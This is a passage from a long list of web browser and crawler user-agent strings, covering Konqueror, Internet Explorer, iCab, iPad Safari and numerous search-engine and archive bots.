2.6.24-24-generic) KHTML/3.5.10 (like Gecko) (Kubuntu package 4:3.5.10-0ubuntu1~hardy1.1) Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.24-ARCH; X11; i686; en_US) KHTML/3.5.8 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.24.2-hot; X11; i686; en_US) KHTML/3.5.8 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.27.19-desktop-1mnb; X11; i686; cs) KHTML/3.5.10 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1) Mozilla/5.0 (compatible; Konqueror/3.5; Linux i686) KHTML/3.5.6 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.0 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.0 (like Gecko) (Debian package 4:3.5.0-2) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.1 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.2 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.2 (like Gecko) (Debian) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.2 (like Gecko) Kubuntu 6.06 Dapper Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.3 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.3 (like Gecko) Kubuntu 6.06 Dapper Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.4 Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.4 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.4 (like Gecko) (Debian) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Exabot-Thumbnails) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.6 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.6 (like Gecko) (Debian) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.6 (like Gecko) (Kubuntu) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) (Debian) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) (Kubuntu) Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) SUSE Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.9 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux; X11) KHTML/3.5.3 (like Gecko) Kubuntu 6.06 Dapper Mozilla/5.0 (compatible; Konqueror/3.5; Linux; X11; i686; en_US) KHTML/3.5.6 (like Gecko) (Debian) Mozilla/5.0 (compatible; Konqueror/3.5; Linux; de) KHTML/3.5.5 (like Gecko) (Debian) Mozilla/5.0 (compatible; Konqueror/3.5; Linux; en_US) KHTML/3.5.6 (like Gecko) (Kubuntu) Mozilla/5.0 (compatible; Konqueror/3.5; Linux; i686; U; it-IT) KHTML/3.5.5 (like Gecko) (Debian) Mozilla/5.0 (compatible; Konqueror/3.5; Linux; x86_64) KHTML/3.5.5 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Linux; x86_64) KHTML/3.5.5 (like Gecko) (Debian) Mozilla/5.0 (compatible; Konqueror/3.5; Linux; x86_64; en_US) KHTML/3.5.10 (like Gecko) SUSE Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 3.0; X11) KHTML/3.5.2 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.0 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; Windows NT 6.0) KHTML/3.5.6 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; de) KHTML/3.5.10 (like Gecko) Mozilla/5.0 (compatible; Konqueror/3.5; de) KHTML/3.5.5 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.0; Linux) KHTML/4.0.82 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.0; Linux; x86_64) KHTML/4.0.2 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.0; Windows) KHTML/4.0.83 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.0; X11) KHTML/4.0.3 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.1; Linux 2.6.27.7-134.fc10.x86_64; X11; x86_64) KHTML/4.1.3 (like Gecko) Fedora/4.1.3-4.fc10 Mozilla/5.0 (compatible; Konqueror/4.1; Linux) KHTML/4.1.3 (like Gecko) Fedora/4.1.3-3.fc10 Mozilla/5.0 (compatible; Konqueror/4.1; Linux) KHTML/4.1.4 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.1; OpenBSD) KHTML/4.1.4 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.2) KHTML/4.2.4 (like Gecko) Fedora/4.2.4-2.fc11 Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.1 (like Gecko) Fedora/4.2.1-4.fc11 Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.2 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Fedora/4.2.4-2.fc11 Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Slackware/13.0 Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.96 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.98 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.2; Linux; X11; x86_64) KHTML/4.2.4 (like Gecko) Fedora/4.2.4-2.fc11 Mozilla/5.0 (compatible; Konqueror/4.3; Linux 2.6.31-16-generic; X11) KHTML/4.3.2 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.3; Linux) KHTML/4.3.1 (like Gecko) Fedora/4.3.1-3.fc11 Mozilla/5.0 (compatible; Konqueror/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML/4.4.3 (like Gecko) Kubuntu Mozilla/5.0 (compatible; Konqueror/4.4; Linux) KHTML/4.4.1 (like Gecko) Fedora/4.4.1-1.fc12 Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko) Mozilla/5.0 (compatible; Konqueror/4.5; Windows) KHTML/4.5.4 (like Gecko) Mozilla/5.0 (compatible; LemSpider 0.1) Mozilla/5.0 (compatible; LinkStash Bookmark Manager; http://www.xrayz.co.uk/) Mozilla/5.0 (compatible; LinksManager.com_bot http://linksmanager.com/linkchecker.html) Mozilla/5.0 (compatible; LinksManager.com_bot +http://linksmanager.com/linkchecker.html) Mozilla/5.0 (compatible; LinksManager.com_bot http://linksmanager.com/linkchecker.html) Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+) Mozilla/5.0 (compatible; MOSBookmarks/v2.6-Plus; Link Checker) Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Crazy Browser 3.1.0) Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch) Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0 Mozilla/5.0 (compatible; MSIE 6.0; Podtech Network; crawler_admin@podtech.net) Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325) Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65 Mozilla/5.0 (compatible; MSIE 7.0; Windows 98; SpamBlockerUtility 6.3.91; SpamBlockerUtility 6.2.91; .NET CLR 4.1.89;GB) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04320) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320; Maxthon 2.0) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1; Crazy Browser 9.0.04) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; .NET CLR 2.7.58687; SLCC2; Media Center PC 5.0; Zune 3.4; Tablet PC 3.6; InfoPath.3) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.8.36217; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.0; Windows NT 6.0; Trident/5.0) Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.1; AOLBuild 4334.5012; Windows NT 6.0; WOW64; Trident/5.0) Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.1.76908; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; Maxthon; SV1; .NET CLR 1.1.4322; .NET CLR 2.4.84947; SLCC1; Media Center PC 4.0; Zune 3.5; Tablet PC 3.5; InfoPath.3) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Sleipnir/2.9.7) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; TheWorld) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.1; SV1; .NET CLR 2.8.52393; WOW64; en-US) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0; Maxthon 2.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E; Maxthon 2.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; XBLWP7; ZuneWP7) UCBrowser/2.9.0.263 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/13.0.782.215) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; Maxthon/3.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Lunascape 6.7.1.25446) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; de) Opera 11.51 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0) Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html) Mozilla/5.0 (compatible; NetSeer crawler/2.0; +http://www.netseer.com/crawler.html; crawler@netseer.com) Mozilla/5.0 (compatible; OnetSzukaj/5.0; http://szukaj.onet.pl) Mozilla/5.0 (compatible; PEAR HTTP_Request class; http://feed.moo.jp/) Mozilla/5.0 (compatible; PWeBot/3.1; http://www.programacionweb.net/robot.php) Mozilla/5.0 (compatible; PagestackerBot; http://www.pagestacker.com) Mozilla/5.0 (compatible; PalmeraBot; http://www.links24h.com/help/palmera) Version 0.001 Mozilla/5.0 (compatible; Peew/1.0; http://www.peew.de/crawler/) Mozilla/5.0 (compatible; Phonifier; +http://www.phonifier.com) Mozilla/5.0 (compatible; Pogodak.hr/3.1) Mozilla/5.0 (compatible; Proximic crawler; +http://www.proximic.com/en/about-us/contact-us.html) Mozilla/5.0 (compatible; Quantcastbot/1.0; www.quantcast.com) Mozilla/5.0 (compatible; SYCLIKControl/LinkChecker;) Mozilla/5.0 (compatible; ScoutJet; http://www.scoutjet.com/) Mozilla/5.0 (compatible; ScoutJet; +http://www.scoutjet.com/) Mozilla/5.0 (compatible; Scrubby/2.1; +http://www.scrubtheweb.com/abs/meta-check.html) Mozilla/5.0 (compatible; Scrubby/2.2; http://www.scrubtheweb.com/) Mozilla/5.0 (compatible; Scrubby/2.2; +http://www.scrubtheweb.com/) Mozilla/5.0 (compatible; ShunixBot/1.x.x +http://www.shunix.com/robot.htm) Mozilla/5.0 (compatible; ShunixBot/1.x; http://www.shunix.com/bot.htm) Mozilla/5.0 (compatible; SiteBot/0.1; http://www.sitebot.org/robot/) Mozilla/5.0 (compatible; SiteBot/0.1; +http://www.sitebot.org/robot/) Mozilla/5.0 (compatible; SkreemRBot +http://skreemr.com) Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (compatible; Speedy Spider; http://www.entireweb.com/about/search_tech/speedy_spider/) Mozilla/5.0 (compatible; SpurlBot/0.2) Mozilla/5.0 (compatible; SummizeBot +http://www.summize.com) Mozilla/5.0 (compatible; Sundance/0.9x) Mozilla/5.0 (compatible; Synoobot/0.9; http://www.synoo.com/search/bot.html) Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000 Mozilla/5.0 (compatible; Theophrastus/x.x; http://users.cs.cf.ac.uk/N.A.Smith/theophrastus.php) Mozilla/5.0 (compatible; TridentSpider/3.1) Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; http://tweetedtimes.com) Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko) Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko) Mozilla/5.0 (compatible; U; Windows NT 6.0) Gecko/2008092510 Firefox/3.0.3 Mozilla/5.0 (compatible; Urlfilebot/2.2; +http://urlfile.com/bot.html) Mozilla/5.0 (compatible; Vagabondo/2.1; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/) Mozilla/5.0 (compatible; Webduniabot/1.0; +http://search.webdunia.com/bot.aspx) Mozilla/5.0 (compatible; Windows NT 5.0; phpwebbrainBot/0.1 - http://www.monsterli.ch/phpwebbrain/) Mozilla/5.0 (compatible; Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Mozilla/5.0 (compatible; Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (compatible; Windows; U; Windows NT 6.2; WOW64; en-US; rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (compatible; WoW Lemmings Kathune/2.0;http://www.wowlemmings.com/kathune.html) Mozilla/5.0 (compatible; XTbot/1.0v; +http://www.externaltest.com) Mozilla/5.0 (compatible; Yahoo! DE Slurp; http://help.yahoo.com/help/us/ysearch/slurp) Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html) Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots) Mozilla/5.0 (compatible; YandexNews/4.0; +http://yandex.com/bots) Mozilla/5.0 (compatible; YesupBot/1.0; +http://www.yesup.net/bot.html) Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; ) Mozilla/5.0 (compatible; Yoono; http://www.yoono.com/) Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; ) Mozilla/5.0 (compatible; Zenbot/1.3; +http://zen.co.za/webmasters/) Mozilla/5.0 (compatible; aiHitBot/1.0; +http://www.aihit.com/) Mozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; ) Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot) Mozilla/5.0 (compatible; archive.org_bot/1.10.0 +http://www.loc.gov/minerva/crawl.html) Mozilla/5.0 (compatible; archive.org_bot/1.13.1x http://crawler.archive.org) Mozilla/5.0 (compatible; archive.org_bot/1.5.0-200506132127 http://crawler.archive.org) Hurricane Katrina Mozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http://archive.org/details/archive.org_bot) Mozilla/5.0 (compatible; bingbot/2.0 http://www.bing.com/bingbot.htm) Mozilla/5.0 (compatible; bingbot/2.0 +http://www.bing.com/bingbot.htm) Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Mozilla/5.0 (compatible; de/1.13.2 +http://www.de.com) Mozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/discobot.html) Mozilla/5.0 (compatible; egothor/8.0g; +http://ego.ms.mff.cuni.cz/) Mozilla/5.0 (compatible; heritrix/1.10.2 +http://i.stanford.edu/) Mozilla/5.0 (compatible; heritrix/1.12.1 +http://newstin.com/) Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com) Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com) [email:paul@page-store.com] Mozilla/5.0 (compatible; heritrix/1.4.0 +http://www.chepi.net) Mozilla/5.0 (compatible; heritrix/1.4t http://www.truveo.com/) Mozilla/5.0 (compatible; heritrix/1.5.0 http://www.l3s.de/~kohlschuetter/projects/crawling/) Mozilla/5.0 (compatible; heritrix/1.5.0-200506231921 http://pandora.nla.gov.au/crawl.html) Mozilla/5.0 (compatible; heritrix/1.6.0 http://www.worio.com/) Mozilla/5.0 (compatible; heritrix/1.7.0 +http://www.greaterera.com/) Mozilla/5.0 (compatible; heritrix/1.x.x +http://www.accelobot.com) Mozilla/5.0 (compatible; heritrix/2.0.0-RC1 +http://www.aol.com) Mozilla/5.0 (compatible; http://www.IsMySiteUp.Net/bot/ ) Mozilla/5.0 (compatible; http://www.UptimeAuditor.com/bot/ ) Mozilla/5.0 (compatible; iCab 3.0.2; Macintosh; U; PPC Mac OS X) Mozilla/5.0 (compatible; iCab 3.0.2; Macintosh; U; PPC Mac OS) Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS X) Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS) Mozilla/5.0 (compatible; iCab 3.0.5; Macintosh; U; PPC Mac OS X) Mozilla/5.0 (compatible; iCab 3.0.5; Macintosh; U; PPC Mac OS) Mozilla/5.0 (compatible; iaskspider/1.0; MSIE 6.0) Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html) Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html) Mozilla/5.0 (compatible; pmoz.info ODP link checker; +http://pmoz.info/doc/botinfo.htm) Mozilla/5.0 (compatible; pogodak.ba/3.x) Mozilla/5.0 (compatible; robtexbot/1.0; http://www.robtex.com/ ) Mozilla/5.0 (compatible; suggybot v0.01a, http://blog.suggy.com/was-ist-suggy/suggy-webcrawler/) Mozilla/5.0 (compatible; worio bot heritrix/1.10.0 +http://worio.com) Mozilla/5.0 (compatible; zermelo +http://www.powerset.com) [email:paul@page-store.com,crawl@powerset.com] Mozilla/5.0 (compatible;FindITAnswersbot/1.0;+http://search.it-influentials.com/bot.htm) Mozilla/5.0 (compatible;MAINSEEK_BOT) Mozilla/5.0 (compatible;archive.org_bot/1.7.1; collectionId=316; Archive-It; +http://www.archive-it.org) Mozilla/5.0 (compatible;archive.org_bot/heritrix-1.9.0-200608171144 +http://pandora.nla.gov.au/crawl.html) Mozilla/5.0 (en-US;rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13 Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; de-DE) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0 Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/49.0.2623.109 Mobile/14A5335b Safari/601.1.46 Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1 Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B176 Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3 Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X; ru-ru) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/21.0.1180.80 Mobile/9B206 Safari/7534.48.3 Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 Mozilla/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) CriOS/30.0.1599.12 Mobile/11A465 Safari/8536.25 (3B92C18B-D9DE-4CB7-A02A-22FD2AF17C8F) Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML like Gecko) Mobile/12A405 Version/7.0 Safari/9537.53 Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4 Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 